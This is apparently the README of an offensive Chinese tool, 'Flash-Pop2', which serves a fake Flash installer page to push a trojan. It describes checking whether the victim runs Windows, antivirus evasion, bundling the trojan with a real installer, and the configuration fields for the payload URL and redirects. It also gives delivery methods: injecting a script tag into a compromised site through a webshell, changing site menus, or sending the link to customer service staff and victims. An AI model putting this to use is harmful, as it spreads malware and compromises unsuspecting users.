Flash-Pop升级版

1. flash页面能够判断当前系统是否已被安装flash马
2. flash页面能够判断当前系统是否是Windows，若不是则跳转到正常或指定页面
3. flash安装完成后需能跳转到正常或指定页面

1. flash马能够起一个本地服务
2. flash马能够免杀
3. flash马能够捆绑或释放正常flash安装文件

详见Zer0ne安全研究公众号

1. 下载flash-pop2项目后，进入js文件夹下修改flash.js文件中的参数

2. 配置说明

   • ttarget： 宝塔网站设置的域名
   • target_file: flash马的下载地址
   • bc_link: 要跳转到的指定页面
   • pb_word: 如上图
   • l_url: flash马在本地监听的http服务
   • l_res: flash马在本地监听的http服务返回的响应
   • a_type: 应用场景

3. flash马

   • flash马中应该起一个http服务，并返回设置的l_res内容
   • flash马中的http服务应该返回一个用于解决跨域问题的响应头 Access-Control-Allow-Origin: *
   • 示例如下：

1. 已有webshell，可以修改网站源代码

   • 修改网站源码，添加<script src=https://flash-pop2-domain.com/js/flash.js></script>

2. 没有webshell，可以修改网站菜单

   • 添加或修改菜单链接为https://flash-pop2-domain.com/index.html

3. 直接发送给客服或者受害者

   • 将https://flash-pop2-domain.com/index.html直接发送给对方